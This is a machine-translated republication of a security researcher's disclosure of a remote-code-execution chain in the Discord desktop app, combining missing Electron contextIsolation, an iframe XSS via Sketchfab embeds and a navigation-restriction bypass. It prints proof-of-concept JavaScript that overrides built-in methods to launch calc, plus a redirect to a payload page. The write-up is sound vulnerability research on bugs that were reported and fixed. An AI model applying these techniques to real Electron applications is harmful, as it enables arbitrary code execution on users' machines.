Shulou(Shulou.com)05/31 Report--

This article introduces how to integrate three Bug to achieve Discord desktop application RCE loopholes, the content is very detailed, interested friends can refer to, hope to be helpful to you.

Through the comprehensive utilization of multiple bug, the remote code execution vulnerability (RCE) of Discord desktop application has been successfully discovered.

Discord is an instant messaging (IM) software for integrated voice and text chat among gamers. At present, Discord has covered many mainstream platforms, such as Windows, MacOS, Android, iOS, Windows Phone and so on.

The reason I chose to test Discord

Because I have more experience in testing APP vulnerabilities in Electron architecture, and it just so happens that Discord applications are developed based on Electron architecture, and I am also a Discord user, so in the mentality of testing and playing, I analyzed Discord.

Loopholes found

I found three bug in the following Discord applications, and comprehensive exploitation resulted in RCE vulnerabilities:

Missing contextIsolation (contextIsolation feature is not enabled)

XSS in iframe embeds (XSS in iframe embedding function)

Navigation navigation restrictions bypass (Navigation restriction bypass,CVE-2020-15174)

ContextIsolation feature is not enabled (Missing contextIsolation)

When testing the Electron architecture, I usually check the options of BrowserWindow API first, and BrowserWindow API is called when a browser window is created. During the test, I was thinking, when the Electron renderer (renderer) loads, what kind of arbitrary JS code execution causes RCE?

Although Discord's Electron architecture is not open source, Electron's JS code is saved locally in the application, so I can extract and see it. By looking at the local JS code, I found that under the background of the main APP interface, the following method functions were used:

Const mainWindowOptions = {title: 'Discord', backgroundColor: getBackgroundColor (), width: DEFAULT_WIDTH, height: DEFAULT_HEIGHT, minWidth: MIN_WIDTH, minHeight: MIN_HEIGHT, transparent: false, frame: false, resizable: true, show: isVisible, webPreferences: {blinkFeatures:' EnumerateDevices,AudioOutputDevices', nodeIntegration: false, preload: _ path3.default.join (_ dirname, 'mainScreenPreload.js'), nativeWindowOpen: true, enableRemoteModule: false Spellcheck: true}}

As you can see from the above code snippet, what we need to focus on is the nodeIntegration and contextIsolation configuration, where the nodeIntegration is configured as false, and the original unmodified version and contextIsolation are also configured as false.

If nodeIntegration is true, the JS code of the web page can use the Node.js function by calling the require () method. For example, the code that executes the following calculator calc.exe program on a Windows system:

Require ('child_process'). Exec (' calc')

In the case of Discord, nodeIntegration is false, so I can't call require () to use the Node.js function. However, there is still a way to access Node.js functionality. Next, let me explain slowly.

Another important feature in Discord, contextIsolation, is also configured as false, which is used to isolate untrusted content, so if you want to eliminate RCE, it should not be configured as false. If contextIsolation is false, then the JS in the web page can affect the JS code and preload script execution of Electron internal rendering. (here the JS code of Electron internal rendering refers to the JS script outside the Web page. For example, if you use the method function in the Web page JS to overwrite the Electron built-in JS method Array.prototype.join, then the JS script outside the Web page will call the overridden method function when loading the join method.

This behavior is dangerous because it allows Electron to allow JS scripts outside of Web pages to use Node.js features regardless of nodeIntegration configuration, which can evolve into RCE vulnerabilities even when nodeIntegration is configured as false.

By the way, I discovered a similar flaw as early as 2016 when I was at Cure53 when I reported it to the Electron security team and later introduced the contextIsolation feature into the Electron architecture. Here are the technical details that have only recently been made public, PDF:

Https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view coach

Https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en

The contextIsolation feature was introduced to isolate JS code outside of Web pages and Web pages so that they do not interact with each other at execution time. This feature is necessary because security problems arise if there are untrusted content or actions. In the case of Discord, this feature is configured as false and disabled. So, following the method described above to override the JS script, I initiated a test for this flaw in Discord.

Since the built-in JS code in Electron can be executed in any Electron APP when rendering, it is customary for me to test Electron's RCE first with Electron's built-in JS code when rendering. In my article, I wrote that RCE can be implemented in Electron's code when executing navigation timing, and this flaw can be found not only in the code, but also elsewhere (I will publish a detailed PoC example later). However, because the target application uses different versions of Electron or sets the BrowserWindow option, when the Discord Electron runs and starts, the PoC I actually test is always unstable, so I focus on preloading scripts.

When testing the preloaded script, I found that the Discord application exposed the DiscordNative.nativeModules.requireModule ('MODULE-NAME') method function, which can be used to call some module functions into the Web page. However, after testing, it is found that I can not effectively call the module similar to child_process to implement RCE, but I can use the coverage method mentioned earlier to overwrite the built-in JS method in Discord Electron and interfere with the execution of the exposure module, so as to achieve RCE.

The following is the relevant PoC. When you override the RegExp.prototype.test and Array.prototype.join methods built into Discord Electron and call the getGPUDriverVersions method function defined in the "discord_utils" module, you can trigger the execution of the calc.exe program:

RegExp.prototype.test=function () {return false;} Array.prototype.join=function () {return "calc";} DiscordNative.nativeModules.requireModule ('discord_utils') .getGPUDriverVersions ()

The getGPUDriverVersions method function is used to perform "execa" library calls:

Module.exports.getGPUDriverVersions = async () = > {if (process.platform! = = 'win32') {return {};} const result = {}; const nvidiaSmiPath = `$ {process.env [' ProgramW6432']} / NVIDIA Corporation/NVSMI/nvidia- smi.exe`; try {result.nvidia = parseNvidiaSmiOutput (await execa (nvidiaSmiPath, []));} catch (e) {result.nvidia = {error: e.toString ()};} return result;}

Usually, the "execa" library is used to execute the "nvidia-smi.exe" graphics card program specified in the nvidiaSmiPath variable, but because the RegExp.prototype.test and Array.prototype.join methods are overwritten, the nvidiaSmiPath variable name in the "execa" library is overwritten to "calc".

Specifically, variable overrides in nvidiaSmiPath require changes to the following two JS files:

Https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

Https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

At this point, "nvidia-smi.exe" can be successfully replaced with "calc", and then you just need to find a way to execute the JS code to successfully implement RCE.

XSS in iframe embedding function

In the course of trying to mine XSS, I found it interesting that Discord APP supports features like autolink or Markdown. It has been tested that if there are video posts in the communication messages of Discord users, such as You-tube URL, then the iframe embedding function similar to Markdown can display the video player (video player).

Because Discord involves all kinds of social communication information of users, it supports Open Graph Protocol (Open content Protocol). If the user communication information contains OGP information, then the Discord application will display the web page title, description, thumbnail and some related video content. When the video URL link in the user's communication information is embedded in the iframe, the Discord application will extract the video URL link. Later, I couldn't see the iframe embedding function documentation related to the Discord application, so I had to look for clues in its CSP frame-src instruction and found that it adopted the following CSP strategy:

Content-Security-Policy: [...] Frame-src https://*.you-tube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com

As you can see, it lists the strategies that allow iframe embedding (such as embedding You-Tube, Twitch, Spotify videos). Next, I test one by one of these domain names, hoping to trigger XSS when iframe video is embedded. After testing, I found that the domain name sketchfab.com can generate XSS when iframe is embedded, which is a simple DOM-based XSS. The following is a PoC I made according to the OGP protocol. When I send the URL link to another Discord user via chat, clicking on the iframe in it will trigger arbitrary JS code execution:

Https://l0.cm/discord_rce_og.html

[...]

Now, although XSS is found, the triggered JS code can only be executed in iframe. Because Electron doesn't load "JS code outside of Web pages" into iframe, even if I override the JS method built into its iframe, I still can't call Node.js-related functions. Therefore, in order to achieve real RCE, we also need to jump beyond the restrictions of iframe and consider it at the level of user browsing content. This requires creating a new window in the iframe framework, or navigating (navigating) from iframe to the top window in another URL.

After analyzing the relevant code, I found that "new-window" and "will-navigate" events were used in the main code of Navigation restriction (navigation restrictions):

MainWindow.webContents.on ('new-window', (e, windowURL, frameName, disposition, options) = > {e.preventDefault (); if (frameName.startsWith (DISCORD_NAMESPACE) & & windowURL.startsWith (WEBAPP_ENDPOINT)) {popoutWindows.openOrFocusWindow (e, windowURL, frameName, options);} else {_ electron.shell.openExternal (windowURL);}}) [...] mainWindow.webContents.on ('will-navigate', (evt, url) = > {if (! insideAuthFlow & &! url.startsWith (WEBAPP_ENDPOINT)) {evt.preventDefault ();}})

As long as you break through here, you can create a new window in the iframe framework, or navigating from iframe to the top-level window in another URL. However, there is a flaw that makes me completely unexpected.

Navigation restriction bypass (navigation restrictions bypass, CVE-2020-15174)

When I checked the code related to navigation restrictions, I thought that iframe should have restrictions on navigation (navigation), but I was surprised to find that iframe somehow had no restrictions on navigation mechanisms. I thought that the "will-navigate" event and preventDefault () would capture or intercept before the navigation action bypassed, but it didn't.

For navigation bypass testing, I created a simple Electron application and found that the "will-navigate" event in the top navigation (top navigation) does not jump out of the iframe. Specifically, if the domain of the top navigation is the same as that of the iframe, the "will-navigate" event will jump out, otherwise it will not. This is not a reasonable operation, but a Bug. With this Bug, I can bypass navigation restrictions. Finally, all I have to do is navigate to the iframe page that triggers the XSS and include the RCE Payload code in it.

Top.location= "/ / l0.cm/discord_calc.html"

Finally, with the comprehensive use of the above three Bug, I successfully implemented remote code execution (RCE) in the Discord application.

POC video: https://tinyurl.com/y5nx6zjy

Vulnerability handling

After I reported these three vulnerabilities through the Discord public testing project, the Discord security team disabled the embedding of Sketchfab, then added sandboxing to iframe to prevent navigation restrictions from being bypassed, and enabled contextIsolation.

On the synthesis of three Bug how to achieve Discord desktop application RCE vulnerabilities are shared here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.